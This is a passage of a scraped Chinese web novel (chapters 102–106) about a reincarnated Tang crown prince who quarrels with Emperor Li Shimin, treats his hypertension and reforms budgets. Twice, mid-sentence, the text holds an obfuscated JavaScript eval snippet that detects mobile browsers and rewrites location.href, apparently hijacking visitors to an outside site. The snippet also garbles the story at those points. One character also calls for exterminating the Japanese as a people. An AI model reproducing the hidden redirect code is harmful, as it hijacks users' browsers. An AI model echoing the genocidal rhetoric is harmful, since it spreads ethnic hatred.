李世民道:“朕没那么小气,不至于跟自己孙儿计较。” 李承乾暗道:皇帝大气的时候特别大气,小气的时候也是真的小气,赌不起。 “八郎和九郎的功课,你看一下。” 李承乾接过来扫了一眼,思索片刻,给了个十分中肯的评价:“中上,还不错。” 李世民看向李承乾,道:“象儿把功课写成这样,你也给个中上?” 李承乾道:“父亲您不能只看结果,不看过程啊!臣不仅每日查象儿的功课,还将他的错漏指出来,逐句逐字的纠正。他第二日要学的功课,头一日温习,他就在臣的身边,但有不懂,只要他问,臣立刻解答。弘文馆那些师傅,哪有臣这样的细心。” 李世民道:“你还没告诉朕,朕最后为什么废黜你,又立了谁为新太子。” 李承乾:…… 主动坦白自己想玄武门对掏,控制皇帝,然后夺权吗? “父亲,臣觉得您还是别知道了。臣怕您待会儿血压上去,又头昏脑涨的。” 李世民道:“最差的不过是你政变夺权,这个朕能接受。” 李承乾笑道:“那您接受能力挺强啊!” 李世民看了眼李承乾,知道自己是猜对了。 “你还真敢,你为什么觉得你能赢?” 李承乾道:“没指望能赢,就是恶心父亲一把。臣的一位弟弟谋反,牵扯到了臣的死士,他为了保命,直接把臣供出去了,然后谋反没开始就失败了。” 儿子谋反已经很丢人了,还一次来两个,李世民怒极反笑,道:“谋反,你说的这么松快,连一丝惶恐之色都没有,你是觉得朕真的不敢杀了你吗?” 李承乾走过去关上殿门,道:“被废黜当日,父亲最后一次见父亲。父亲说:你已经是太子了,为什么要谋反,为什么?臣问父亲:臣在太子之位上十八年,可曾求过什么,父亲说没有。臣问父亲:臣可有求过什么不该求得,父亲说没有。臣问父亲:那就是担心臣的品德,担心您万年以后,臣会是个昏君,您说您担心的就是这个。臣告诉您,十八年臣性格未改,难道不足以证明,臣的品德不会影响处理朝政吗?父亲您十分生气,您继续问臣为什么要谋反。臣回答您,谋反是为了自救,自救必然难道根源。” 随便找了个位置坐下,李承乾继续道:“回答完了父亲的话,臣也终于问出了臣憋在心里六年的话。您到底为什么偏宠魏王,您偏袒魏王惹得朝野非议您是知道的,您让魏王住进武德殿,武德殿是什么地方您是知道的。魏王他咄咄逼人,您也是知道的,您到底为什么要纵容他?您让魏征做少师想平息朝野议论,其实您什么都知道,您又什么都做了。” 相隔千年,提及往事,仍然会落泪,李承乾擦了眼泪,道:“臣没有等到父亲您的回答,然后臣走出了太极殿。那一年的九月,臣踏上了被流放的路,流放途中身体极速破财,十一月死在黔州的风雪夜里。” 李世民身子一软,往后退了几步,扶着凭几在主位上落座,眼泪不受控的往下落。 “承乾,阿耶……” 李承乾道:“您不用解释了,谋反臣不后悔,贞观十四年以后臣那副德行,臣想起自己都觉得恶心,赐恩怎么就把自己折腾那样不人不鬼的样子,臣品德的确出了问题,被废是臣咎由自取,罪有应得,作为皇帝您没有错。至于父亲为何偏袒魏王,逼得另一个儿子一步步走上绝路,臣从前没有等到的答案,现在那个答案可有可无。那些话,臣也永远不会再问。陛下,臣在最后一次轮回,姓高,叫高明。臣不知道是不是高明和李高明在时空里重合了,所以臣被送回来了。李承乾会造父亲的反,高明不会造陛下的反。您只是李承乾的父亲,不是高明的父亲,高明心中您只是他崇敬的陛下。” “承乾,你就没想过瞒着阿耶吗?” 李承乾道:“您迟早会知道的,乱臣贼子,臣的生死由您决断。还有,我不叫承乾,我叫高明。既然已经转世,我们就不是一个人。” 第102章 问疾 似乎没想到皇帝会来这么一句,李承乾沉默良久,道:“为什么要装傻充愣?” 李世民道:“你是阿耶的孩子,阿耶也很爱你,十二岁听讼,十三岁加冠,十四岁监国,十六岁加元服,你大病两场,阿耶请道士僧侣做法,征召僧侣剃度出家,修观又修庙为你祈福。阿耶失而复得的孩子,怎么会舍得毁了你?” 李承乾道:“所以为什么后来不爱了?您一开始抬举魏王意欲取代臣的时候,臣还是举朝称颂的贤明太子,无论朝政还是私德都无可挑剔。思来想去,只能是因为臣腿瘸。天可汗何等英武,怎么可以有一个腿瘸的太子?大唐万邦来朝,怎么可以有一个瘸腿皇帝?陛下给予魏王超越太子的权柄,是想效仿汉光武帝,让承乾效仿刘强上疏请辞太子之位,可惜承乾让您失望了。陛下是能够与光武帝齐名的明君,承乾没有刘强的自知之明。” 李世民不知道该怎么向李承乾解释,李承乾又继续道:“其实也不对,臣回来时,躲过了坠马腿没瘸,您一样抬举了青雀。给他天策府的文学馆,给他超越太子的尊贵。陛下,您为什么会觉得,青雀上位会放过承乾和承乾的孩子?您放过李建成和他的孩子了吗?陛下,您说您爱承乾,可您想让承乾去死啊!‘人生寿夭难期,万一太子不幸,安知诸王他日不为公辈之主!何得轻之!’陛下,您梦到这句话了吗?那个时候,承乾只是瘸腿,他还没有失德啊!可是陛下,父亲,阿耶,那个时候您当着众大臣的面说,您想要承乾去死啊!但凡陛下您在贞观十四年之后说出这句话,臣都可以自欺欺人的替承乾说一句,那个时候的承乾披发慕胡,在东宫胡作非为,他该死。” 李承乾眼泪从眼角滑落,时隔千年,他还会心痛,还会忍不住落泪,或许这一切早在冥冥之中成了他的执念,他以为放下却从未放下的执念。 “陛下,臣轮回了一千四百多年,您是唯一一个咒自己儿子去死的父亲。您说您爱承乾,可您毁他的时候没有一丝手软。陛下,如果高明没有这一身学识,您还会说他是您失而复得的孩子,您舍不得毁了他吗?您爱的不是承乾,也不是高明,是高明的学识。说得再准确些,是高明的学识能够带来的利益。” 李世民道:“不,承乾,不是你想的那样,阿耶爱青雀和雉奴,也很爱你。阿耶自知从前过往,对你几乎有求必应,阿耶也在努力弥补过往对你的伤害。” “承乾听到这些会很开心,他一定会扑到您的怀里,重新求您的疼爱,可承乾他已经死了,如陛下的愿,他死了,死了在黔州那个风雪夜。他再也不会听到父亲说爱他了,他曾经求而不得的东西,他永远都得不到了。陛下,您嘴上说不杀他,他天真的觉得父亲爱他,可您让人秘密弄死了他,墓志铭,大唐的史书,承乾,他有三个死亡时间。是您改的史书,还是您的新君改的?是您为了新君把臣赶尽杀绝,还是新君要把臣赶尽杀绝?” 这些事情李世民完全不知道,他梦中的过往没有涉及这些,沉默了良久以后,他道:“如果朕还有机会梦到过往,朕可以告诉你这些。但是承乾,阿耶真的不会舍得杀了你。” “你杀了也没什么,谋反本就是死罪。臣可以直接被赐死,但非要臣谢您不杀之恩还要被您杀一遍,太让人恶心了。” 李象进了院子,看到殿门紧闭,就知道事情不同寻常,遂退到崇教门外去等。 许久,他才见红着眼睛的父亲打开殿门走出来。 “阿耶!” 李象扑了上去,紧紧抱住父亲。 李承乾拍拍李象肩膀,道:“你先回崇贤馆,阿耶晚些时候再过去。” 打发走了李象,迟迟不见李世民出来,李承乾暗道不好,皇帝昨日才被他刺激的心率和血压飙升。 想到这里,李承乾赶忙进殿查看,果然见李世民趴在凭几上犯恶心,额头直冒冷汗。 怕什么来,李承乾搭上皇帝的脉搏,这个跳动的速度,不用计算他都知道皇帝的心率又上去了,脉搏跳动的强度很高,血压也上去了。 手也是凉的,不出意外脚应该也是凉的,皇帝要是死在他的东宫,那他直接会被扣上弑君弑父的帽子,李承乾吓出了一身冷汗。 李承乾喊了宫人吩咐去取银针,推开桌案凭几,扶着皇帝左侧躺下。一边按压穴位,一边盯着皇帝脉搏跳动频率。以皇帝现在的状态,干等取银针,他怕皇帝先驾崩了。 一刻钟左右,宫人取来银针,李承乾急忙施针,手忙脚乱过后,总算堪堪稳住皇帝的心率,李承乾也出了一身热汗。他重新将凭几搬过来,扶着皇帝坐好,又替皇帝按压穴位。 “承乾……” “您别说了!”李承乾直接打断施法,道:“好好养着,有什么以后慢慢说。在臣生活的那个年代,您这病那都是只能预防和缓解,不能根治的不治之症。您老人家饶了臣吧!臣怕臣下一次救不了您了。” 不治之症四个字一出来,李世民惊起抬头,道:“你说什么?” 又刺激到皇帝了,李承乾赶紧道:“陛下你别那么激动,不会要命的。臣这么跟您说,十个人拉出来六七个会得高血压,只是发病早晚的问题。年龄越大,越容易发病。死不了,真的轻易死不了。” 李世民道:“死不了你那么紧张干什么?” 李承乾道:“突发性的容易猝死!” 李世民:…… “你……你爸妈也有高血压吗?” 李承乾点头,道:“有,长期从事高强度脑力工作,加班加点的熬夜,很容易诱发高血压。” 李世民道:“朕不怎么熬夜,朕为何发病这么频繁还这么厉害?” 李承乾道:“家父家母是工作强度导致的,您老人家那是家族遗传兼高强度脑力工作,以及不健康的饮食习惯,不太一样。况且,高血压一般不会单独出现,大多数时候伴随高血糖和高血脂。” 家父家母…… 李世民心口闷闷的疼,继续问道:“你诊断的出来?” 李承乾道:“不能,那需要专业仪器。但臣可以断定,陛下目前只是血压偏高,其他两个应该要再过些年才会有。” 李世民道:“你凭什么断定朕往后会得你说的病?” 李承乾笑道:“后世史书对您老人家身体状况记载的不多,但您这么一个几乎年年都要跑出去巡查的皇帝,最后几年突然窝在长安不愿意走动了,说明陛下身体精力跟不上了,体虚乏力,就是血脂和血糖高的一种体现。” “有没有可能,是朕年龄太大了?” 没有那个可能,五十一驾崩的人,一生好动的皇帝,不愿意出门走动时,四十多岁正值壮年。 “您就不要套臣的话了,知道自己的死期,很痛苦的。就像臣一开始跟您对着干,那是真想您废了臣,废太子的妻儿远离是非,不会被清算。臣现在就时常忧虑,万一臣的寿数止步于贞观十七年,先太子遗孀和遗孤,他们又要如何安稳度过余生?” 李世民叹了口气,道:“你会长命百岁的,朕可以向神明发愿,把朕的寿数换给你。” 李承乾一时无言,皇帝的话他是一个字都不想相信。再说了,皇帝的寿数也没多高,把李隆基的寿数换给他还差不多。 “您是天子,臣担不起您的恩泽,怕折寿。” 第103章 杜荷的新工作 张阿难叫了步辇来,李承乾将皇帝送上轿辇,默默的松了口气,他是真的怕皇帝死在东宫。 同皇帝对线,情绪有些激动,眼泪流的太多头疼不说,他能够自行按压穴位缓解,眼睛肿了就很麻烦。 崇贤馆那堆人不会问,但他嫌丢人。 久久不见太子回来,也不见皇孙回来,魏叔玉走到李象位上,低头去看李象还没来得及写的功课,道:“诸君听题:两人驾马并走,一马善行日一百五十五里,不善行者八十里,今不善行者先行一百公里,善行者追之,问几何及之?” 尉迟宝琳道:“不要之乎者也,说人话!” 高慎行友情翻译:“两个人骑马从同一个地方出发,一个人马快,一天走一百五十五里,另一个人马慢一天走八十里,马慢的先走一百里,马快的那个追,问多久之后可以追上。” 尉迟宝琳道:“直接上马追不就知道了?为什么要算?还有,万一追的那个人他不认路,走错路了,那他一辈子都追不上。所以,算学除了折磨人它还有什么用?” 魏叔玉道:“继续听题:今有张三出长安,九日半至洛阳。李四自洛阳还京师,七日乃至,问几何日相逢?” 这个之乎者也比较少,尉迟宝琳听懂了,道:“首先,张三和李四认识吗?如果认识,那么张三去洛阳,不能直接去李四家里吗?或者李四来长安直接找张三不行吗?为什么一定要在路上相逢?如果他俩不认识,那就不存在相逢,就算路上吃饭坐一桌子,他俩都不知道自己相逢了。咱就说,这算学他有啥用?” 李景恒道:“彩!附议!” 高慎行道:“附议!” 房遗直神色郁郁,道:“万一家里老爷子发话,附议也无用!” 众人:…… 萧锴愤愤道:“你怎么那么扫兴?” 魏叔玉道:“诸君继续听题:今有七百五十钱,书一本三十二钱,狼毫一支十二钱,已买狼毫八支,问余钱可买书几何?这一道题,应该是这一堆里面最简单的一道了。” 尉迟宝琳道:“我最多能认全书名,又不想跟我家那老爷子一样装文化人,为什么要买书买笔?就算我要买,这应该是店主算?我买东西的我还要负责算账?还有天理吗?还有王法吗?” 众人闻言,笑作一团。 魏叔玉道:“后面还有好些,基本是启蒙的几本算术书,有难有简,但算学这东西,往后越学越难,我现在是真的怕,陛下到家父那里挤兑家父一通,回去我要重新学算术了。” 马恂道:“就说在座的谁不怕?” 众人:…… 李德謇道:“我不怕,家父对我一向宽和。” 众人:…… 程处亮感叹:“真心觉得,我家那老爷子抽空多去卫国公府里坐坐吧!” 李德謇道:“家父不逼迫我,可他也不咋搭理我,要不是我跟他长的像,我都怀疑家里那只寅将军是他亲儿子。” 魏叔玉道:“李兄,你不用身在福中不知福,我们有多想自家老爷子不搭理,你是不知道。” 高慎行道:“特别是年末,朝中事忙,家里的老爷子每天回来脸都阴的滴水,我们回去走路都不敢大声。” 马恂道:“今年朝廷要求地方官为下一年出预算,家父所在的民部要负责审核地方预算,还涉及人口户籍,忙的两头不见天。” 说到这里,房遗直想哭,道:“家父为尚书右仆射,又是中书令,民部的预算出来要先经过尚书省和中书省决断审核,家父回家我与二郎也是大气不敢喘一下。” 魏叔玉道:“天呐!我家老爷子主持门下省事务,尚书省和中书省弄完就直接到门下省了,我还能回家吗?” 马恂笑道:“殿下现在不用写功课了,你就偷笑吧!这要是魏伯伯门下省忙了一天,看完殿下的策论心情大好,回去再看你的策论,你和魏伯伯总有一个躺下。” 魏叔玉:…… 尉迟宝琳笑道:“还好我父亲不在三省,就只能看着诸君受苦了。” 这幸灾乐祸的样子,太欠了! 李景恒道:“尉迟兄放心,今日回去在下连夜上门,告诉尉迟叔叔,你说他没文化!” “李景恒!” 尉迟宝琳丢下书扑了上去,李景恒一个灵活走位避开,道:“这可是太子的东宫,在东宫动手,失仪之罪,轻则杖责,重 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尉迟宝琳道:“那是皇孙的功课!” 杜荷大脑有那么片刻的空白,道:“谁的?” 尉迟宝琳道:“皇孙的!” 杜荷下意识起身,丢开李象的算数题,道:“都说殿下宠爱皇孙,我看也不见得,好人家父亲,谁舍得让儿子写这玩意儿!” 李德謇道:“听皇孙说,他是看殿下算术,很是喜欢就学来玩儿玩儿。” “玩儿?”杜荷再次被震惊了,道:“不会玩儿我可以教他玩儿,玩儿算学?认真的吗?没吃过苦的小孩儿,就是有干劲儿!” 魏叔玉拉着杜荷坐到自己位置上,道:“好兄弟,我抄的手疼,您帮帮小弟。” 杜荷:…… “我给兄长您打扇!” 杜荷拿起笔,顺着魏叔玉抄录的地方续了下去,道:“滚,三九天打扇,你献什么殷勤?” 魏叔玉不言,把扇子丢到杜荷案头。 杜荷:…… 这年头,给人帮忙都这么卑微? 第104章 回旋镖 贞观十二年最后一天上朝,三省长官工作的积极性明显不高,李承乾十分理解,做了千年打工人,他太理解了,要放年假谁还有心情上班。 不说房魏等人,李承乾自己也没心思,可没心情上班是一回事,熬到定点打卡那是必须的。 一连两日被气的头昏脑涨,李世民卧病甘露殿,李治告了假在床榻前侍疾。 “别哭了!” 李世民揉着鬓角,头痛欲裂还要听孩子哭,原本就烦闷,这下子更烦了。 “回去,朕这里不要你侍疾。” 李承乾说得不错,他迟早会知道过往,卧病昏沉中,往事入梦,他立了李治为储君。 李治瞪大了眼睛,满眼都是无辜,大唐以孝治国,不知道自己侍疾为何会引来父亲的不满。 “出去,朕现在不想看到你。” 几个儿子,没一个让人省心,李承乾和李祐谋逆**,李泰跟他说杀子立弟,还公然带府兵闯宫,他以为李治仁孝,结果在他病榻前,同他的才人勾搭上了。 李世民越想越觉得憋闷,若李承乾所言不虚,那个才人,会是李治未来的皇后,还会篡夺李唐神器。不,他绝不允许这样的事情发生。 武才人,贞观十一年驾幸洛阳纳入宫中的,这一世他忙着和李承乾较劲儿,又要和吐蕃打仗,没时间去洛阳,武才人还没入宫。胆敢篡夺李唐神器,不管是谁,他都不会放过。 “陛下,太子殿下求见。” 看皇帝要起身,张阿难赶紧上前扶起李世民,道:“臣看太子殿下拿了厚厚的一册东西,想必是有要事商谈。” “让太子进来。” 这李承乾被张阿难迎入内殿,看到李世民难看的脸色,不由感慨:人生果然还是不能太刺激,毕竟连一向喜欢极限挑战的李世民都招架不住。 “阿难,给承乾赐座。” 李承乾默了默,他都已经说了,他不是李承乾,是高明,皇帝依旧称呼承乾,这是摆明了耍无赖。罢了,正事要紧,这无赖皇帝爱耍随便。 预算早在汉朝就有,唐朝的有专门负责预算的部门,也有较为规范的预算流程。可相对于后世逐渐标准化的预算,还是差了很多。 李承乾上前两步,拉过皇帝的手,搭上脉搏垂眸良久,道:“照理说今天心率和血压不该这么高,陛下这是又给谁气到了?” 李世民低头不语,他总不能说他梦到过往,看到了宠爱的幼子,还是他寄予厚望的新太子,在他病榻前勾搭他的妾室吧? “前两日发生的事情,朕心里头不舒服。” 李承乾下意识松开皇帝,真是嘴欠,这下子他成小丑了! “这个预算,臣觉得不行,可三省的长官都说行,臣使唤不动,陛下您出面,打回去重写。” 李世民瞥了一眼李承乾拿来的册子,前朝重臣基本都是他的从龙之臣,李承乾的确有才华,可羽翼未成,声望和势力都不够,还不足以驾驭这群重臣。 “阿难,你先出去。” 张阿难应声往后退,李承乾叫住张阿难道:“去取银针过来。” 从前中规中矩的监国,同这群大臣没什么利益冲突,一切都十分顺利。这一次监国,因推行预算和决算的新政,同前朝大臣有了利益冲突。 李承乾感觉到十分心累,皇帝没有放实权给他,这帮家世背景深厚的大臣,他根本收拾不了。 “承乾,为父知道你见过更好的。可是就像你说的,一个时代和一个时代不一样。” 李承乾道:“陛下,臣在后世王朝也曾为官,这种预算别说臣生活的最后一世拿不出手,就是在后世王朝也拿不出手。臣要是做出这样的预算递给皇帝,那不用在朝廷混了。遇到个脾气不好的皇帝,满门抄斩都是有可能的。” “地方官员同地方世家豪强多有勾结,预算账目太明就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15404371|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有油水可捞,朝中重臣多出自地方世家豪强,自然会在此事上装糊涂。这也是积重难返,只要他们不太过分,不影响到与民休息,朕也就睁一只眼闭一只眼。” 李承乾道:“地方官员与世家豪族勾结索取无度,慢慢的中央无力管控,这就是大唐到了后来,明明是盛世,却连兵都养不起了,皇帝允许节度使募兵收税。至于后果,怕您血压又上去,臣就不跟陛下说结果,您自己猜吧!” 李世民脑袋嗡嗡的响,这就是说女帝篡权,最后李唐还是夺回江山了。可到底是哪个不孝子孙干的蠢事,允许节度使收税自主募兵的政令一下,用不了多久,地方坐大,长安就被架空了,甚至兵灾一起,国都沦陷,神器易主。 看皇帝这脸色,李承乾急忙去探皇帝脉搏,道:“你别激动,陛下你别激动,这里就臣和陛下两个人,您要是被气出个万一,臣可担不起弑君弑父的大罪。一切都还没有发生,一切都还能挽回,您别激动,千万别激动。” 李世民突然一把抓住李承乾手腕,道:“承乾,阿耶以大唐的国运立誓,阿耶没有让人私下处死你,阿耶没有,阿耶吩咐下去让人好生待你,保你一生衣食无忧的。阿耶甚至想过,等风头过了,给你李象和李厥以国公之尊,让他们荣华富贵一生,让你舒舒服服过完后半辈子。承乾,那日你在太极殿质问阿耶,阿耶亦是悔不当初,可是那个时候覆水难收,阿耶已经没有办法挽回这一切了。” 李承乾垂眸浅思,有他这个千年老鬼坐在这里,皇帝绝对相信鬼神之说,不会拿江山社稷开玩笑,那对他下手的就是另有其人,他的好舅舅和李治。 长孙无忌最后也是因为谋反倒台,同他一样没有被赐死,流放地也是黔州,在他的故居“自缢”身亡。 李承乾死法的翻版,长孙无忌扔出去的回旋镖,多年后正中自己的眉心,真是太讽刺了。 **诛心,还是李治会玩儿啊! 第105章 李象的天分 “陛下,您抓的臣手腕疼。” 李世民赶忙松开,李承乾迅速将手抽回来,低头一看手腕红了一片。还好皇帝病中无力,这要是平常,他手腕又要疼好几天。 张阿难从殿外进来,将银针递给李承乾。 李承乾打开针囊,中医发展最快的时代就是唐宋期间,繁荣的经济,相对稳定的社会环境,中医技术不断被创新。元明清没啥突破性进展,基本原地踏步。 李治晚年,中医针灸就已经能够抑制风疾带来的头疼。不过,李世民生在初唐,百废俱兴的时代,活着就行,哪里有时间发展其他,自然享受不到这个福利。 “张翁,您先下去,我有话同陛下说。” 张阿难忙不迭退下,这活祖宗上次说的话他可都急着,什么弑兄杀弟,逼父篡位…… 能跑,他才不会就在这是非之地。 李承乾往皇帝身边挪了挪,道:“臣曾亲历后世的乱世,如您所言,离开了您,臣大概就会想起后世被异族踏破山河的过往,又开始想着怎么去改变。我们那个时代,家国情怀很重,这片土地之上,可以兄弟相残,但不能被异族欺辱。” 李世民道:“朕明白了,你要给朕压制病情,用朕的声望帮你压前朝的骄兵悍将,你要用你的学识,推行新政报效大唐。你希望在后世,这片土地,不会再有异族入侵。” 李承乾点头,道:“这两天主持朝议,听到了‘遣唐使’这个名词,臣很讨厌,厌恶到骨子里,恨不能将其饮血啖肉。如果可以,希望有朝一日,大唐可以发兵直接灭种灭族。即便不能,这个国家和这个民族,也永远只配当狗。” 遣唐使来自倭国,李世民不知这个国家对中原大地到底做了什么,之前他觉得李承乾恨他,可看李承乾对倭人的痛恨程度,李承乾对他的恨意,完全可以忽略不计。 “倭人就那么可恨吗?” 李承乾冷笑道:“陛下不曾经历后世,怎知那帮畜生对我华夏犯下的罪孽?后世华夏官方数据,据不完全统计,倭寇侵华造成超三千五百万人伤亡。” “什么?”李世民惊的坐起身子,道:“大唐举国才一千五百万人,三千五百万伤亡,承乾你认真的吗?” 李承乾道:“那个时代,我们有四万万同胞,抗击倭寇时有这么一句话,一寸山河一寸血,十万儿郎十万军。那一场战争,被很多人视为**之战。” “蕞尔小国,安敢……” 情绪上头,李世民身子一软往后倒,李承乾赶忙上前把人扶住。 “陛下,你别激动……” 又来了,李承乾赶紧将人放好,关于预算报告的事情,他和皇帝有分歧,所以提前叫张阿难取了银针过来,他这个决定,真是太正确了。 施完针,李世民的情况好了许多,李承乾扶着皇帝在榻上躺好。 “年下宴会臣都不去了,七天的年假,臣要去中书省,找个小一些的县,做一份预算报告出来,以后的预算至少要是臣的标准,否则一律重做,做不出来就换人。” 说完,李承乾拿起预算的册子,对着皇帝拜了一拜,道:“陛下若无其他吩咐,臣去中书省和尚书省查资料了。” 李世民看着李承乾离开的背影,不由得感叹,年假都不放过,这就是后世子孙的干劲儿吗?那得是一个什么样的时代,培养出这样能干的李承乾。 看到太子出来,张阿难赶忙进去伺候,李世民头痛缓了许多,道:“你看太子现在多好?” 张阿难不明就里,顺着皇帝的话继续道:“陛下神威无双,太子殿下可是陛下苦心孤诣培养出来的储君,肯定不会差的。” 李世民微微扬起嘴角,脸上十分骄傲。 贞观初年,李世民下诏,五品以上官员年节轮流在三省当值,李承乾拿着尚书令的官印,人在尚书省,需要用的资料要去中书省和门下省找。 前来当值的官员,看到游走在三省的太子,只觉得天塌了,皇帝就是个工作狂,太子青出于蓝,年节都不放过。皇帝喜欢休沐赐宴游猎,太子不会喜欢休沐喊人办公吧? 因太子上疏回护,吴王李恪和齐王李祐避免了一场责难,年节进宫方便正好拜见太子,他们几次上门太子都不在东宫,问就是在三省,令二王十分无奈。 苏氏和李象一起用膳,两个人都有些味同嚼蜡。年节本是团圆的日子,家中的丈夫和父亲出去加班了。 “母亲,儿两三日没见到阿耶了,也不知阿耶什么时候忙完。” 苏氏道:“我也不知,你阿耶深夜回来,陪我说几句话,叮嘱几句过后就直接回崇贤馆睡了。前朝政事,我也不好问的。” 李象有些难过,父亲定了规矩,到时间他必须回宜春殿睡了,他每日都在崇贤馆等父亲,父亲回来先看望母亲,没等到父亲回崇贤馆,他就要被乳母抱回宜春殿了。 “你阿耶是太子殿下,未来的……” 说到这里,苏氏嘴角勾起一抹好看的弧度,出身尊贵,得夫婿敬重,身边无妾室争宠,夫婿又努力上进,美中不足的就是有一个庶长子,又是个极得夫婿宠爱的庶长子。 世家大族婚姻从不为情爱,能有最好,没有不强求,夫婿对男女情爱不上心,但极其敬重她,皇太子内院只她一个女人,她不是小肚鸡肠之人,只要李象这个庶长子不挡她儿子的路,她也乐意养着李象,辅佐嫡子,还能讨得夫婿欢心。 “母亲,您会算术吗?” “算术?”苏氏目露不解,道:“我不会,你问这些做什么?” 李象道:“儿有道算数题,学不会,年节弘文馆师傅们放假了,阿耶也不在,儿找不到人讲解。” 苏氏皱眉,此前太子说起李象的志向她就觉得李象没出息,出身皇家一点儿志气都没有。 “好男儿当学君子之道,治国之道,辅弼君上。朝廷明经科有算术,可到底是些偏门,你是皇孙,不该在这些东西上浪费精力。” 一个无能的庶长子,不会威胁到嫡长子的地位,却也不能辅佐嫡长子。 骤然被呵斥,李象心下难受,却也只能默默垂下头听训。 丽正殿用过膳,李象回到宜春殿,余下的两道题,始终没个头绪,他决定去三省找父亲。母亲觉得学算术没出息,可父亲不觉得,还会亲自教他。 走通训门出去到太极宫,往前从恭礼门进去就是门下省,门下省往西,过左右延明门,经过舍人院,面前左右两座巍峨的建筑就是尚书省和中书省。朝廷机要之地,李象不敢随便进去,就抱着算数题在门口等。 李世民精神好了许多,到尚书省去看李承乾,正巧看到李象在门口守着,看到皇祖,李象忙上前行礼。 “这么冷的天,怎么在这里挨冻?” 小孩儿手冰的出奇,李世民心疼孙儿且他急于同李承乾破冰,本就打算从李象下手,这么好的机会他当然不会放过,遂上前将人抱起来,裹在自己大氅里面。 “孙儿两三日不见阿耶,阿耶之前留的算数题,有道算数题总是想不通,晚间见不到阿耶,只能白日里来等,路上说完,阿耶回去陪母亲用过膳直接歇息,也不用再为孙儿功课费心。” 李世民顿了一顿,年节还不忘做算数题,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15404372|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见是真的爱,可算术到底是不该皇家子孙去钻营的东西。 “怎么突然喜欢上算术了?” 李象道:“看阿耶算术,孙儿很是敬佩,阿耶就教孙儿,刚开始有些难,后来就越来越有意思了。” 李世民笑而不语,抱着李象到中书省,李承乾埋在一堆文献里,中书省执勤的杨师道和岑文本帮着做报表,李世民能感觉到此二人身上的怨气。 十分理解,年节轮班已经很痛苦了,结果还要干一堆的活,换他,他也一肚子怨气。 李承乾与值班的杨师道和岑文本上前拜见,李象从皇祖怀里下去,侧身躲开父亲行礼,待父亲向皇祖行过礼他才单独向父亲行礼。 “太子在尚书省,两位卿家早些回去吧!” 可以走了,太令人开心了,杨师道和岑文本拜谢过皇帝,忙不迭就跑了,生怕迟上片刻留在这里干苦力。 李承乾走上前,太子妃有身孕,每日回去必定要探望,回去的本就晚,丽正殿耽搁回崇贤馆,李象早就到了该睡觉的时间,被乳母带走了。 “阿耶太忙了,这三日忽视了你。等忙过这段时间,有了空闲阿耶多陪陪你。” 李象道:“阿耶忙着正事儿知道,儿原本在门外等着,等着阿耶出来,一道算数题,阿耶路上讲完,也不耽误阿耶正事。” “这么冷的天,在外头干冻着?”李承乾忙上前去检查儿子有没有被冻坏,道:“我跟你说过,任何时候都不要为了任何人任何事糟蹋身体,两道算数题算什么?也值得你挨冻?下次再有这种事情,我就动戒尺了。” 上次冒犯皇祖被父亲责了五记戒尺,第二日落座隐隐钝痛,乍听父亲再次提起戒尺,李象下意识护住身后,又觉得失礼,两只小手半路停下,紧紧抓着衣袍。 李世民轻笑,看样子,李象也挨过打,还以为李承乾不打孩子呢! “题拿来,阿耶给你看看。” 李象从怀里掏出算数题来给父亲。道:“就是这一道,左、右两列共二百二十人,左列原有人数十中之一到右列,右列原有人数十中之三到左边。左右人数之比为六十三比四十七,问左右两列原有人几何?” 李承乾看罢,思索片刻,道:“这题不难,口算都能算出来,左列一百人,右列一百二十人。” “承乾,口算,你认真的?” “陛下,您可以质疑臣的品德,但不能质疑臣的计算能力。” 中考允许使用计算器,初中用了三年计算器,导致高中他的计算能力巨烂,开始只是数学吃亏,物化合卷之后,化学乱七八糟的配平,留给计算的时间不多。 算术能力不行,让他吃了很大的亏,为了扭转这一现象,他苦练口算能力,三位数乘三位数之下的计算,他十秒内口算正确率百分之百。 一道题,逻辑理顺,下一步就是计算。 李承乾看完儿子的算数题,突然反应过来,这些题是小学五六年级的水平。李象生于贞观四年末,现在是贞观十三年初,一个八岁多,虚岁九岁的三年级娃,做了五六年级的题。李象在算术上面,天才不够格,但绝对是有天分的。 “之乎者也的圣贤书,你免得糊里糊涂,勉强算中人之姿,算术上你是真有天分,早知道我直接教你算术。” 学好数学,物理和化学也能涉猎。**人才哪怕远离**都很危险,技术人才就好多了。 “象儿,你真是生错了时代,你要是……”李承乾刮了下儿子鼻梁,眼神里满是宠溺。“你既然有这个天分,阿耶这一生有关于算学的全部学问,必然倾囊相授。” 第106章 了解新时代 李承乾将找了个没被他祸祸的桌案,拉着李象坐下,一步步引导李象去解题,他不主张直接给过程,讲完思路就让李象自己解题。 李承乾处理完儿子这里的事情,赶紧上前再拜皇帝,李世民起身虚扶了一把李承乾。 “去尚书省说。” 李承乾偏过头看向李象,道:“为父去去就回,你自己在这里写,写完了无聊,就趴在案上睡一会儿。” “阿耶忙您的就好,儿自己写就行。” 李承乾点了点头,跟着皇帝到尚书省。 杨师道执勤尚书省,岑文本执勤中书省,李承乾在中书省做预算报告,需要人手,便将杨师道拉到了中书省。 李世民大手一挥,放过了两位爱卿,中书省只有几个宫人站岗。 “都下去吧!” 李世民到主位上坐下,道:“承乾很喜欢算学?” 